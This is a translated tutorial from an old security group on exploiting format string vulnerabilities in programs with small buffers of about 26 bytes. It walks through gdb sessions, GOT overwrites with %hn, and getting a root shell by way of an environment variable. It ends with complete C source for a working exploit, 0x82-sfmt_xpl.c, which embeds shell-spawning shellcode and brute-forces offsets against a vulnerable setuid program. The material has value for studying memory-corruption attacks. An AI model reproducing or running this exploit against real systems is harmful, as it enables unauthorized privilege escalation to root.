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=======================================================================================

Title: Small buffer format string attack

 

Author : dong-hun you (Xpl017Elz) in INetCop <szoahc@hotmail.com>

Home: http://x82.inetcop.org & http://x82.i21c.net

 

Rough English Translation by KF <dotslash@snosoft.com>

Home: http://www.snosoft.com & http://www.secnetops.biz

 

Greets: INetCop, KF, Snosoft

=======================================================================================

 

0x00. Overview

0x01. Training

0x02. Small buffer format string attack

 

 

0x00. Overview

 

There are several documents currently on the internet that describe format string attacks.

This document will explain a simple method that you can use when you are exploiting a format

string with limited buffer space.

 

 

0x01. Training

 

The following code contains an exploitable heap based format string vulnerability.

In order to understand the following text, you must be aware of the `$-flag' style format string.

 

--- test1.c ----------------------------------------------------------------------

int main(int argc, char *argv[])

{

char *x=(char *)malloc(40);

strncpy(x,argv[1],40);

printf(x);

printf("\n");

}

----------------------------------------------------------------------------------

 

$ ./vuln %x%x%x

8049770bfffdb68400311eb

$

 

0x08049770 is a heap variable address that was declared through malloc.

This variable stores the "user input" for example "%x%x%x".

 

$ gdb -q vuln

(gdb) br *main+70

Breakpoint 1 at 0x804847e

(gdb) r %x%x%x

Starting program: /tmp/vuln %x%x%x

8049770bfffdb68400311eb

 

Breakpoint 1, 0x804847e in main ()

(gdb) x/8 0x08049770

0x8049770: 0x78257825 0x00007825 0x00000000 0x00000000

0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000

(gdb)

 

If that variable is stored on the heap exploitation becomes more difficult.

The reason is because the format string "%x" can not easily find an address

in the heap. However, if the inputed data is stored to stack, it's easy to find.

In our example the "user input" is stored on the stack. We can confirm this if we

analyze further. You will notice the string is near the environment variables that

were loaded by the shell.

 

...

0xbfffdc97: "i586"

0xbfffdc9c: "/tmp/vuln"

0xbfffdca6: "%x%x%x" <- here.

0xbfffdcad: "LESSOPEN=|lesspipe.sh %s"

0xbfffdcc7: "QT_HANFONT=-*-kodig-medium-r-normal--12-*-ksc5601.1987-0,-*-kodig-medium-r-normal--14-*-ksc5601.1987-0,-*-kodig-medium-r-normal--16-*-ksc5601.1987-0,-*-kodig-medium-r-normal--18-*-ksc5601.1987-0,-*-ko"...

(gdb)

0xbfffdd8f: "dig-medium-r-normal--20-*-ksc5601.1987-0,-*-kodig-medium-r-normal--24-*-ksc5601.1987-0"

0xbfffdde6: "QT_KEYBOARD=2"

0xbfffddf4: "HISTSIZE=1000"

...

 

As you can see we are able to find "%x%x%x".

We need to store retloc's value at 0xbfffdca6, then we can reach it through $-flag or "%8x%8x%8x%8x..".

So, even if the contents of the above mentioned variable are stored to heap, we can still manage to exploit the problem.

The position of address value you need to refer to can be guessed or you can find it by doing the following.

$ ./vuln AAAA%88\$x%89\$x%90\$x

AAAA414141412438382539382578

$ gdb -q vuln

(gdb) disass printf

Dump of assembler code for function printf:

0x8048364 <printf>: jmp *0x8049510

0x804836a <printf+6>: push $0x20

0x804836f <printf+11>: jmp 0x8048314 <_init+48>

End of assembler dump.

(gdb)

 

If you do testing in gdb, in some cases the addresses are different from if you only ran from the shell prompt.

Either way, you could test your final format code as following.

 

$ gdb -q vuln

(gdb) r `printf "\x10\x95\x04\x08\x12\x95\x04\x08"`%16697x%91\$hn%00257x%90\$hnAA

Starting program: /tmp/vuln `printf "\x10\x95\x04\x08\x12\x95\x04\x08"`%16697x%91\$hn%00257x%90\$hnAA

 

...

 

Program received signal SIGSEGV, Segmentation fault.

0x41414242 in ?? ()

(gdb)

 

The Value that caused 0x4141 is %16697x (decimal). This value is first stored at 0x08049512.

And then, the value 0x4242 is stored %257x at 0x08049510.

Using this method we store the value 0x41414242 in GOT.

 

Above, we used the $-flag to find our "user input".

One problem I failed to mention was that we are working with a small buffer and we do not have room for our shellcode,

How does it do exploit?

 

 

0x02. Small buffer format string attack

 

First, let's understand how a format string can find an address.

This may be simple information that you know already.

 

int main()

{

char string[]="It's test!";

char format_str[]="\x41\x41\x41\x41%s\n";

printf(format_str);

}

 

0x41414141 should store the address value that points to where the variable string[] is allocated.

Through gdb, can confirm that string is to 0x8048470.

 

(gdb) x/s 0x8048470

0x8048470 <_IO_stdin_used+4>: "It's test!"

(gdb)

 

Let's substitute this address in the above sample code by writing a simple patch.

 

$ cat > patch

--- test.c Tue Jun 3 20:47:51 2003

+++ test.patch.c Tue Jun 3 20:48:02 2003

@@ -1,6 +1,6 @@

int main()

{

char string[]="It's test!";

- char format_str[]="\x41\x41\x41\x41%s\n";

+ char format_str[]="\x70\x84\x04\x08%s\n";

printf(format_str);

}

^C

$ patch < patch

patching file `test.c'

$ gcc -o test test.c && ./test

It's test!

$

 

When the '%s' format string is applied to the address 0x08048470 it would display the contents of that address.

An attacker would rather change a memory address by using (%hn or %n) to GOT, .dtors, or a specific return address.

 

As we already showed, if attacker's input exists on the stack it can be reached through a format string like `$-flag'

or `%8x'.

 

If the proper return address is stored on the stack, you may not need to put your own return address value in front

of the format string. In other words your own GOT, .dtors, return address (short size 8byte, general size 16byte, long

size 32byte) that is usually placed in front of the format string may not needed.

 

As an attacker you might ask if the value that you use for your own return address can point to anywhere?

For local exploits one approach is to use environment variables to store the address. With values stored in the

environment you can simply reference them via the `$-flag'.

 

When attacking one other thing you need to know is the conversion for your shellcode address into decimal.

To finish us I will talk about the small buffer space I mentioned above. The buffer space is only 30bytes.

 

Hmmm ... Instead of placing the return address in an environment variable you can also place it in arguments of the

program. If the format string is placed in argument 0 it will be stored on the stack and it will be stored closer in

distance to the general environment variables. This can be useful in small buffer space.

First we will try the exploit using an environment variable.

After execute eggshell,

 

# ./eggshell

 

Using shellcode address: 0xbffff9a8

 

bash# export A=`perl -e 'print "\x10\x95\x04\x08\x12\x95\x04\x08"x20'`

 

Stored GOT address in environment variable of `A'.

 

bash# gdb -q vuln

(gdb) r %49151x%261\$hn%15641x%262\$hn

Starting program: /tmp/vuln %49151x%261\$hn%15641x%262\$hn

 

...

Program received signal SIGTRAP, Trace/breakpoint trap.

0x40001780 in _start () at rtld.c:142

142 rtld.c: No such file or directory.

(gdb) c

Continuing.

bash# id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

bash# exit

exit

 

Program exited normally.

(gdb) q

bash#

 

You can also as stated above add the return address with the format string.

This time we try the exploit through an argument rather than an environment variable.

 

bash-2.04# cat test.c

main() {

execl("./vuln","\xb8\x95\x04\x08\xba\x95\x04\x08","%49151x%97$hn%14775x%96$hn",0);

}

bash-2.04# ./test

...

...

...

sh-2.04#

 

WoW, by Inserting the GOT address code to the first `argument 0th' included with the (%96$x%97$x)

the minimum dimensions of assailable buffer space becomes 26 bytes.

 

Based on this proof show above, format string exploits are possible in a minimum of 26 bytes of buffer

space. If this occurs in a remote environment, or don't store value in environment variable,

you may make use of the stack that is used by the program. (For example, program that require user's

input)

 

I prepared some exploit code so that you can exploit this conveniently on Linux (My box runs RedHat).

One method is to use an environment variable, and the other method is to use an argument.

Both methods, can exploit in small buffer environment that is fewer than 30 bytes.

 

Usage example: --

 

[root@xpl017elz /tmp]# chmod 6755 vuln

[root@xpl017elz /tmp]# su x82

[x82@xpl017elz /tmp]$ ./0x82-sfmt_xpl

 

Proof of Concept 26byte small buffer format string exploit.

 

[+] GOT (printf) address: 0x8049510

[+] Shellcode address: 0xbfffffb7

[+] Attack mode: Environment variable.

[+] flag and pad brute-force mode:

........................................................................

[*] Found it!!!

[+] Pad: 3

[+] Flag: 72

[+] Attack format string: %49151x%73$hn%16312x%72$hn

[+] code size: 26byte

[*] Input [ENTER]:

 

...

 

8049770

 

...

...

 

bash#

 

--

Thank you.

 

 

-- Appending code --

 

=========== vuln.c ===========

/*

**

** code name: vuln.c

** description: Weak program to format string attack.

**

*/

 

int main(int argc, char *argv[])

{

char *x0x=(char *)malloc(26);

strncpy(x0x,argv[1],26);

printf(x0x);

printf("\n");

}

 

=========== eoc ==============

 

====== 0x82-sfmt_xpl.c =======

/*

**

** code name: 0x82-sfmt_xpl.c

** description: Proof of Concept 26byte small buffer format string exploit

**

*/

 

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/stat.h>

 

#define OBJDUMP "/usr/bin/objdump"

#define GREP "/bin/grep"

#define AWK "/bin/awk"

#define TARGET "./vuln"

#define d_size (0x000000ff)

#define s_size (sizeof(int)*4)

#define df_flg (0x0000012c)

 

int scs=(0);

int arg=(0);

int flag=(1);

int m_pad=(4),pad;

int jnk_one,jnk_two;

u_long got,shr;

char tg_f_nm[(d_size)]=(TARGET);

char shellcode[]=

"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"

"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"

"\x90\x40\x90\x40\x90\x40\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52"

"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

 

u_long __get_dtors(char *f_name);

void __mk_str_code(char *env_arg_atk,char *exec_t,char *got_buf);

void tl_exploit_f(int fd,char *env_arg_atk,char *exec_t);

void cpl_usage(char *f_name);

void banrl();

 

int main(int argc,char *argv[])

{

int whgl;

pid_t pid;

struct stat s_t;

char exec_t[(d_size)];

char env_arg_atk[(d_size)];

char got_buf[(s_size)];

 

memset((char *)got_buf,0,sizeof(got_buf));

memset((char *)env_arg_atk,0,sizeof(env_arg_atk));

memset((char *)exec_t,0,sizeof(exec_t));

 

(void)banrl();

while((whgl=getopt(argc,argv,"M:m:T:t:F:f:P:p:Hh"))!=EOF)

{

extern char *optarg;

switch(whgl)

{

case 'M':

case 'm':

if((arg=atoi(optarg))>1)

{

(void)cpl_usage(argv[0]);

}

break;

 

case 'T':

case 't':

memset((char *)tg_f_nm,0,sizeof(tg_f_nm));

strncpy(tg_f_nm,optarg,sizeof(tg_f_nm)-1);

break;

 

case 'F':

case 'f':

if((flag=atoi(optarg))>(df_flg))

{

fprintf(stderr," [-] $-flag value error.\n\n");

exit(-1);

}

break;

 

case 'P':

case 'p':

m_pad=atoi(optarg);

break;

 

case 'H':

case 'h':

(void)cpl_usage(argv[0]);

break;

 

case '?':

(void)cpl_usage(argv[0]);

break;

}

}

 

if((stat((tg_f_nm),&s_t)!=0))

{

fprintf(stderr," [-] target program path: %s not found.\n\n",(tg_f_nm));

exit(-1);

}

got=(__get_dtors(tg_f_nm));

shr=((0xbfffffff)-(strlen(shellcode)));

if((!got))

{

fprintf(stdout," [-] GOT (printf) address getting failed.\n\n");

exit(-1);

}

 

fprintf(stdout," [+] GOT (printf) address: %p\n",got);

fprintf(stdout," [+] Shellcode address: %p\n",shr);

fprintf(stdout," [+] Attack mode: %s.\n", (arg)?"Argument":"Environment variable");

 

got_buf[0]=got_buf[4]=(got&0x000000ff)>>0;

got_buf[1]=got_buf[5]=(got&0x0000ff00)>>8;

got_buf[2]=got_buf[6]=(got&0x00ff0000)>>16;

got_buf[3]=got_buf[7]=(got&0xff000000)>>24;

got_buf[4]+=(0x2);

jnk_one=((shr&0xffff0000)>>16);

jnk_two=((shr&0x0000ffff)>>0)-(jnk_one);

 

fprintf(stdout," [+] flag and pad brute-force mode:\n ");

for(;flag<=(df_flg);flag++)

{

fprintf(stdout,".");

fflush(stdout);

for(pad=0;pad<=(m_pad);pad++)

{

int out[2],in[2];

(void)__mk_str_code(env_arg_atk,exec_t,got_buf);

if(pipe(out)==-1)

{

perror(" [-] pipe (out) error");

exit(-1);

}

if(pipe(in)==-1)

{

perror(" [-] pipe (in) error");

exit(-1);

}

switch(pid=fork())

{

case -1:

perror(" [-] fork() error");

break;

 

case 0:

close(out[0]);

close(in[1]);

dup2(out[1],STDOUT_FILENO);

dup2(in[0],STDIN_FILENO);

{

char *test_emt[3];

if(!arg)

{

test_emt[0]=(env_arg_atk);

test_emt[1]=(shellcode);

test_emt[2]=(NULL);

execle(tg_f_nm,tg_f_nm,exec_t,NULL,test_emt);

}

else

{

test_emt[0]=(shellcode);

test_emt[1]=(NULL);

execle(tg_f_nm,env_arg_atk,exec_t,NULL,test_emt);

}

}

break;

 

default:

close(out[1]);

close(in[0]);

(void)tl_exploit_f(out[0],env_arg_atk,exec_t);

close(out[0]);

close(in[1]);

break;

}

wait(&pid);

}

}

if(!scs)

{

fprintf(stdout,"\n [-] Sorry, GOT address not found.\n\n");

exit(-1);

}

}

 

u_long __get_dtors(char *f_name)

{

char st_exec[(d_size)*2];

FILE *fp;

char fd_addr[(s_size)];

 

memset((char *)st_exec,0,sizeof(st_exec));

snprintf(st_exec,sizeof(st_exec)-1,

// objdump -R ./vuln | grep printf

"%s -R %s"

" | %s printf"

" | %s -F\" \""

" '{print $1}'",

(OBJDUMP),f_name,(GREP),(AWK));

if((fp=(FILE *)popen(st_exec,"r"))==NULL)

{

perror(" [-] popen() error");

exit(-1);

}

memset((char *)fd_addr,0,sizeof(fd_addr));

fgets(fd_addr,sizeof(fd_addr)-1,fp);

pclose(fp);

 

return(strtoul(fd_addr,NULL,sizeof(fd_addr)));

}

 

void __mk_str_code(char *env_arg_atk,char *exec_t,char *got_buf)

{

char pad_t[(s_size)];

int cl_pad=(pad);

memset((char *)pad_t,0,sizeof(pad_t));

 

while(cl_pad)

{

cl_pad--;

pad_t[cl_pad]='+';

}

memset((char *)env_arg_atk,0,(d_size));

snprintf(env_arg_atk,(d_size)-1,"%s%s",got_buf,pad_t);

memset((char *)exec_t,0,(d_size));

snprintf(exec_t,(d_size)-1,"0000000%%%d$xx0000000%%%d$xx",flag,flag+1);

}

 

void tl_exploit_f(int fd,char *env_arg_atk,char *exec_t)

{

char *r_emt[3];

char rslt[(d_size)];

char rslt_buf[(d_size)];

memset((char *)rslt,0,sizeof(rslt));

memset((char *)rslt_buf,0,sizeof(rslt_buf));

 

read(fd,rslt,sizeof(rslt)-1);

snprintf(rslt_buf,sizeof(rslt_buf)-1,"0000000%xx0000000%xx",got,got+2);

 

if(strstr(rslt,rslt_buf))

{

scs+=(1);

fprintf(stdout,"\n [*] Found it!!!\n");

fprintf(stdout," [+] Pad: %d\n",pad);

fprintf(stdout," [+] Flag: %d\n",flag);

memset((char *)exec_t,0,(d_size));

snprintf(exec_t,(d_size)-1,"%%%dx%%%d$hn%%%dx%%%d$hn",jnk_one,flag+1,jnk_two,flag);

fprintf(stdout," [+] Attack format string: %s\n",exec_t);

fprintf(stdout," [+] code size: %dbyte\n",strlen(exec_t));

fprintf(stdout," [*] Input [ENTER]: ");

fflush(stdout);

getchar();

 

if(!arg)

{

r_emt[0]=(env_arg_atk);

r_emt[1]=(shellcode);

r_emt[2]=(NULL);

execle(tg_f_nm,tg_f_nm,exec_t,NULL,r_emt);

}

else

{

r_emt[0]=(shellcode);

r_emt[1]=(NULL);

execle(tg_f_nm,env_arg_atk,exec_t,NULL,r_emt);

}

}

}

 

void cpl_usage(char *f_name)

{

fprintf(stdout," Usage: %s -option argument\n\n",f_name);

fprintf(stdout,"\t -m [target num] : Select exploit mode. (default: %d)\n",arg);

fprintf(stdout,"\t\t\t{0} : Environment variable.\n");

fprintf(stdout,"\t\t\t{1} : Argument.\n");

fprintf(stdout,"\t -t [target path] : target program path. (default: %s)\n",tg_f_nm);

fprintf(stdout,"\t -f [flag num] : $-flag number. (default: %d)\n",flag);

fprintf(stdout,"\t -p [pad num] : max pad number. (default: %d)\n",m_pad);

fprintf(stdout,"\t -h : help information.\n\n");

fprintf(stdout," Example: %s -t%s -m%d\n\n",f_name,tg_f_nm,arg);

exit(-1);

}

 

void banrl()

{

fprintf(stdout,"\n Proof of Concept 26byte small buffer format string exploit.\n\n");

}

 

=========== eoc ==============

 

 

--

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